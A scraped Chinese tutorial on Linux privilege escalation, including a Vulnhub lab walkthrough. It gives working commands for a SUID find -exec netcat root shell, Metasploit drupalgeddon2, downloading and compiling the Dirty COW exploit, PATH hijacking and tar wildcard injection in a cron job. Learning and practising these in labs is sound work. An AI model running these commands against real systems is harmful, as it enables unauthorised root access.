Linux提权

2023-11-07

目录

​编辑

一、信息收集&Linux脏牛内核漏洞&SUID

1.信息收集

2.SUID提权

案例:

1)SUID提权配合脚本

2)本地配合内核漏洞

3)脏牛内核漏洞演示-linux-exploit-suggester

二、定时任务&环境变量&数据库

1.环境变量(这个属于本地提权-比较鸡肋)

2.定时任务

       第一种通配符注入(WS注入)

        第二种权限问题


一、信息收集&Linux脏牛内核漏洞&SUID

1.信息收集

信息收集命令:权限提升-linux提权手法总结

自动化脚本

信息收集:LinEnum、linuxprivchecker

作用:为后续提权做准备

漏洞探针:linux-exploit-suggester、linux-exploit-suggester2

作用:用户内核提权,判定操作系统可能存在的漏洞

脚本介绍:

LinEnum

通过webshell上传到tmp文件夹,赋予执行权限chmod +x LinEnum.sh,执行./LinEnum;LinEnum会列出目标机器的信息

linuxprivchecker

上传到tmp目录,执行文件 python linuxprivchecker.py;脚本会列出目标机器的信息,但是不像LinEnum有颜色标识

linux-exploit-suggester

上传到tmp目录,执行./linux-exploit-suggester.sh,脚本会输出内核等信息和可能存在的漏洞和exp的下载地址。橙色标签更符合目标机情况

linux-exploit-suggester2

通过websell或者文件上传linux-exploit-suggester-2.pl 到tmp文件夹,这里需要目标机器上有perl(语言)

执行perl linux-exploit-suggester-2.pl 会直接报告可能的漏洞和exp地址

2.SUID提权

SUID是一种特殊权限。设置了SUID的文件用户执行时会拥有该程序属主的权限。比如/usr/bin/passwd文件,用户执行时获得了root权限,从而能更改密码,或者赋予权限"chmod u+s [文件名]"

案例

1)SUID提权配合脚本

find命令参数

语法:find  [path...]  [expression]

. 为当前路径   /为根目录   expression为参数

expressions:

-name   按文件名查找

-perm    按文件权限查找,4000,2000,1000为分别表示SUID,SGID,SBIT

-user     按文件属主查找

-size n  文件大小是n个单位

-type     d(目录)  f(文件)  c(字符设备文件)   b(块设备文件)

-print     将匹配的文件输出的标准输出

-exec    find命令对匹配的文件执行该参数所给出的shell命令

             :find [path] [expressions] 搜索内容  -exec 命令2 {} \;

                    {} 和  \; 是标准格式,执行-exec这两个符号必须完整输入。其次,这个选项的作用其实是把 find 命令的结果交给由"-exec"调用的命令 2 来

                    处理。"{}"就代表 find 命令的査找结果。

-ok         同-exec,不过-ok选项会在操作前进行确认

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜-GG

确定是否有SUID,利用脚本或下面的命令手工确定

    find / -user root -perm -4000 -print 2>/dev/null          //重定向错误输出,/dev/null是个黑洞,其中任何数据都会被丢弃,2>/dev/null删除错误信息

    find / -perm -u=s -type f 2>/dev/null

    find / -user root -perm -4000 -exec ls -ldb {} \;

在找出来的SUID中找Nmap、Vim、find、Bash、More、Less、Nano、cp

根据命令的不同使用不同的方法提权,详见参考文献

以下为find命令的SUID提权方法

创建名为“xiaodi”的文件,叫什么都行

    touch xiaodi

借find命令的“-exec”参数执行命令“whoami”,确定执行“find”时为root权限

    find xiaodi -exec whoami \;

借find命令的“-exec”参数执行命令,形成一个反弹

    find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;

接受反弹,享受反弹的root权限

    netcat xx.xx.xx.xx 5555

参考利用:https://pentestlab.blog/2017/09/25/suid-executables/

2)本地配合内核漏洞

提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG

连接,下载或上传探测漏洞的脚本,并运行

根据提示的漏洞信息下载或上传EXP,这里EXP文件的名字叫“45010.c”,使用EXP

    gcc 45010.c -o 45010

    chmod +x 45010

    ./45010

最后确定是否提权成功

    id

3)脏牛内核漏洞演示-linux-exploit-suggester

脏牛判断:

判断内核:

              Debian运行命令 uname -v

              Ubuntu/Centos/RHEL运行命令 uname -r

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

内核提权整个过程:(linux-exploit-suggester获取信息)

                               vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG

内核漏洞提权过程:寻找可用exp-下载exp-上传至/tmp-编译exp-执行(无权限用chmod)

nmap扫描网段寻找存活IP,扫描端口寻找存活端口,注意这里“-p1-65535”是扫描从1到65535的所有端口

    nmap 192.168.76.0/24

    nmap -p1-65535 192.168.76.141

首先发现192.168.76.141,开放的80端口,可以访问。在端口扫描中发现开放的1898端口并可以访问。1898端口的网页中有“Powered by Drupal”字样,搜索“drupal”确定是CMS。搜索drupal CMS的漏洞,可以在搜索引擎搜,或在msf搜索

    search drupal

根据msf搜索的结果,使用一个exp

    use exploit/unix/webapp/drupal_drupalgeddon2

显示设置,并设置好IP端口等信息,执行

    show options

    set lhost 192.168.76.141

    set lport 1898

    exploit

发现攻击成功,确定现有权限

    getuid

只有web权限,提权

上传漏洞探针脚本

    upload /root/linux-exploit-suggester.sh /tmp/1.sh

为脚本添加运行权限,执行

    chmod +x 1.sh

    ./1.sh

在回复的信息中寻找合适的漏洞

发现了CVE-2016-5195 dirtycow 脏牛漏洞,决定使用该漏洞

下载或上传exp

    wget https://www.exploit-db.com/download/40611

    upload /tmp/40847.cpp /tmp/40847.cpp

C++需要编译

   # -Wall:打印警告信息    -pedantic:允许发出ANSI/ISO C标准所列出的所有警告 O2:优化代码   -std:设置编译标准

   # -o dcow gcc生成的目标文件,名字为dcow

   # g++格式:g++ [options]  file

   # -pthread:在Linux中要用到多线程时,需要链接pthread库

    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

该exp需要一个交互式的终端,不然无法正常执行。这里开一个虚拟的交互终端

    python -c 'import pty; pty.spawn("/bin/bash")'

运行

    ./dcow

运行成功,dcow回显了一个root密码,用它登录

    su root

在root文件夹下有flag

    cat  /root/flag.txt

涉及的资源:

LinEnum:https://github.com/rebootuser/LinEnum

LAMPIÃO: 1(vulnhub的靶场):https://www.vulnhub.com/entry/lampiao-1,249/

Behinder冰蝎:https://github.com/rebeyond/Behinder

linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester

Linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker

SUID Executables:https://pentestlab.blog/2017/09/25/suid-executables/

linux-exploit-suggester-2:https://github.com/jondonas/linux-exploit-suggester-2

Ubuntu 16.04漏洞复现(CVE-2017-16995):https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe

二、定时任务&环境变量&数据库

1.环境变量(这个属于本地提权-比较鸡肋)

前提:SUID配合环境变量而且是本地用户环境下

过程:手写调用文件-编译-复制文件-增加环境变量-执行

//demo.c文件
#include<unistd.h>
void main(){
  setuid(0);
  setgid(0);
  system("ps");
}
#手写一个c语言文件,并上传编译为shell文件
gcc demo.c -o shell 
#复制到目录
#将/bin/sh 复制到/tmp下改名ps,到/tmp目录下输入ps执行的是ps,输入./ps执行的是sh
cp /bin/sh /tmp/ps
#导入环境变量,类似windows配环境变量,直接命令下就能执行某文件,kali里各种工具都是如此
#导入环境变量以后,输入ps,会执行/tmp目录下的ps
export PATH=/tmp:$PATH 
#执行当前目录shell文件
./shell  
id

注:ps有suid权限

       这个提权需要两个条件:1.赋值了SUID权限   2.需要本地用户(如果是webshell权限export导入环境变量时会失败)

解惑:这里有一点,这个shell是用户自己创建的,shell执行ps;我们是把sh复制到tmp目录下命名为ps,然后加入到环境变量,shell执行的ps就变成了 sh 

2.定时任务

       第一种通配符注入(WS注入)

提权条件:有通配符的可以调用其他命令的命令被放入计划任务中
提权原理:利用通配符配合命令参数自定义命令实现提权;可以将通配符所匹配的内容写成命令的                   参数,调用其他命令
提权过程

我们首先假设目标机器上有类似如下带有通配符的任务
不安全定时任务备份命令:
    cd /home/undead/script;tar czf /tmp/backup.tar.gz *
新建“test.sh”,其中有获取root权限的命令
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
新建两个文件,文件名代替通配符时会和命令组合成新命令,执行“test.sh”
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
等到定时任务完成,调用已经获得root权限的bash
    ./bash -p             

        第二种权限问题

原理:利用不安全的权限分配操作导致定时文件覆盖,管理员没有给予正确的权限,给了文件777权限,那么定时任务就可以被修改,   进行提权

3.案例:Linux提权数据库MYSQL_UDF-Vulnhub

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux提权 的相关文章

随机推荐

  • Centos Linux 清理磁盘占用空间:/dev/xvda1

    CnetOS7 磁盘空间不足 进行如下操作可释放空间 df h 查看磁盘占用率 df h 这时是100 截图是清理之后的 进入根目录cd 执行du sm sort n 磁盘占用的升序排列 或du h max depth 1du 进入占用空间
  • PDF Web Viewer

    https mozilla github io pdf js web viewer html
  • 编程每日一题_C程序设计_日K蜡烛图

    描述 来源 pintia 正确解法一 嵌套 if 条件判断 include
  • 华为OD机试 - 区间交集(Java)

    题目描述 给定一组闭区间 其中部分区间存在交集 任意两个给定区间的交集 称为公共区间 如 1 2 2 3 的公共区间为 2 2 3 5 3 6 的公共区间为 3 5 公共区间之间若存在交集 则需要合并 如 1 3 3 5 区间存在交集 3
  • 线性DP题目汇总(持续更新)

    一 前言 此篇章主要整理一些关于线性dp的题目 很多题目其实都可以被挂上线性dp的标志 比如最熟悉的最长上升子序列啊 最长公共子序列啊等等 并且线性dp在自己写力扣周赛的题目的时候 真的会时不时出几道 然后刚好利用这些题目加上dp分析的方法
  • uniapp中H5使用Vconsole调试

    下载与安装vconsole 1 1 选中你的项目 弄出终端 输入以下命令 npm install vconsole npm install vconsole 2 引用vconsole 找到main js文件中 加上以下代码 import V
  • PyPDF2 pdf 文件写入提示如下错误:PyPDF2.utils.PdfReadError: Illegal character in Name Object

    今天学习PyPDF2 pdf文件写入其他指定pdf 文件提示如下错误信息 Traceback most recent call last File D python35 Lib site packages PyPDF2 generic py
  • 强化学习基础

    强化学习 强化学习概念 强化学习 RL 就是智能体Agent与环境交互从而进行学习的一种机器学习方法 Agent执行一个动作后 会从环境中获得反馈 这个反馈就是环境对这个动作做出的评价 这个可以理解为当你拿100分时 你妈妈会给你一顿大餐的
  • 毕业设计 STM32单片机的GPS定位系统 - 物联网

    基于STM32单片机的定位系统 由 STM32F103C8T6单片机最小系统 GPS模块 ESP8266 系统内可以通过ESP8266无线传输模块将GPS传回来的数据在ONENET界面显示 ONENET界面可以显示行驶距离 速度 经纬度还可
  • 中望cad文字显示问号怎么办_CAD字体显示问号解决方法

    很多朋友查看CAD图纸的时候会出现很多问号 这到底是怎么回事呢 想要搞定也是很麻烦的 小编提供的这款CAD字体 问号修复工具采用lsp格式 加载后再命令行输入fs回车即可解决cad字体中出现问号的问题 遇到类似问题的朋友不妨下载试试 使用说
  • 算法导论学习--红黑树详解之删除(含完整红黑树代码)

    前面我们讨论了红黑树的插入的实现 基本思想是分类讨论 然后分情况讨论以后我们发现插入操作调整函数只需要处理三种情况 并不是太复杂 但是删除操作会更复杂一点 因为二叉搜索树的删除操作本身就分成了多种情况 这样在执行删除操作后要处理的情况会更多
  • tomcat 远程连接

    在catalina sh里面添加以下配置 JAVA OPTS server XX PermSize 1024m XX MaxPermSize 2048m Xms3072 Xmx5120m XX UseParallelGC XX Parall
  • 爆了!2023 年上半年全球程序员薪酬报告

    大家好 这里是 NewBeeNLP 近日 美国科技公司数据收集网站 Levels fyi 发布了 2023 年上半年全球程序员薪酬报告 并统计了各领域薪酬的增长比例 我们从上表可以看到各个领域当中 增强现实 虚拟现实 AR VR 总薪酬中位
  • PC汇编语言(NASM)

    http www drpaulcarter com pcasm 转载于 https www cnblogs com yuanping archive 2012 12 29 2838844 html
  • 归并排序,C++实现

    归并排序 采用分治法的一个典型应用 实现方法有两种 1 自上而下的递归 所有递归的方法都可以用迭代重写 2 自下而上的迭代 c 代码 递归版 include
  • QT串口收发

    QT串口收发 串口扫描 配置串口信息 设置串口名称 设置波特率 设置数据位 设置奇偶校验 设置停止位 设置流控制 设置读取数据的缓存大小 打开串口 串口打开并配置代码 串口接收数据 串口发送数据 串口关闭 offAndOn自定义函数 使co
  • react组件的生命周期以及基本语法

    组件化的发展历程 面向对象 封装 集成 多态 模块化 13 16年 解决了全局变量和变量勿滥 组件化 使编程更轻量化 创建组件 组件的使用 无需注册 跟html标签书写一致 首字母大写 必须有根标签 一个组件一个模块 组件生命周期钩子函数
  • mvc:default-servlet-handler和mvc:annotation-driven成对出现的原因

  • [人工智能-深度学习-62]:环境搭建 - 增加或更换硬盘,SSD/SATA/SAS哪个好?

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 人工智能 深度学习 62 环境搭建 增加或更换硬盘 SSD SATA SAS哪个好 文火冰糖 王文兵 的博客 CSDN博客 第1章 硬盘的分
  • Linux提权

    目录 编辑 一 信息收集 Linux脏牛内核漏洞 SUID 1 信息收集 2 SUID提权 案例 1 SUID提权配合脚本 2 本地配合内核漏洞 3 脏牛内核漏洞演示 linux exploit suggester 二 定时任务 环境变量